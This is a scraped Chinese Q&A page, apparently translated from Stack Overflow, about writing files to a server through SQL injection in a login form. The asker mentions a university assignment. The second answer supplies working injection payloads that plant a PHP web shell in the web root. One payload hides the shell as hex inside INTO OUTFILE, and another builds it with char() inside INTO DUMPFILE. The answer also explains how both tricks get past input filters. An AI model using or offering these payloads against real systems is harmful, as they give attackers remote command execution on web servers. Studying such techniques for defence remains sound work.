如何使用 SQL 注入写入文件?
Posted
技术标签:
【中文标题】如何使用 SQL 注入写入文件?【英文标题】:How do I write files using SQL injection? 【发布时间】:2020-01-29 07:29:38 【问题描述】:注意:查询是以登录形式而不是 url 形式编写的。
所以基本上我正在尝试为大学作业执行一些 sql 注入。我正在尝试编写一个文件,然后将该文件加载到数据库中。我的权限具有文件访问权限和几乎所有权限。托管数据库的服务器位于我正在使用的计算机外部。但是,我发现数据库的路径目录是
/var/lib/mysql
所以我想也许我可以执行以下操作将文件写入此位置。
' UNION SELECT 1, INTO OUTFILE ('/var/lib/mysql/example.txt');-- '
但是,似乎没有任何效果。
如果服务器未托管在我的计算机上(即外部),我如何编写文件。
【问题讨论】:
【参考方案1】:1.寻找mysql默认文件路径。“显示变量如'%secure%';”如果 'secure_file_priv' 不是 "/var/lib/mysql/",进入 outfile ('/var/lib/mysql/example.txt') disable.into outfile 文件路径应该是 'secure_file_priv' 路径。
secure_file_priv /var/lib/mysql-files/ 选择 1 到 OUTFILE '/var/lib/mysql-files/example.txt' 2.如果OUTFILE存在,[Err] 1086 - 文件已经存在
【讨论】:
那么为什么在 1 之后或 2 之前没有逗号?【参考方案2】:是的,您可以通过多种方式使用 SQL 注入写入文件
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -
所以让我们稍微打破这个查询。首先,我们使用 (') 从原始查询中分离出来,然后我们告诉查询将输出发送到 /var/www/html
中名为 shell.php
的文件,在我的情况下,这是网络服务器的位置 (INTO OUTFILE '/var/www/html/shell.php')
最后,我们有一些十六进制字符可以解码为
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";?>
这实际上是绕过某些过滤器的好方法,并且我们可以避免弄乱可能破坏查询的引号。
此外,您还可以通过其他方式写入文件,例如
'+UNION+ALL+SELECT+'',concat(char(60),'?php+echo+shell_exec($_GET["cmd"])+?',char(62))+INTO+dumpfile+'/var/www/html/test.php'+--+
通过滥用 MySql 的 char
命令来绕过 </>
限制。
【讨论】:
以上是关于如何使用 SQL 注入写入文件?的主要内容,如果未能解决你的问题,请参考以下文章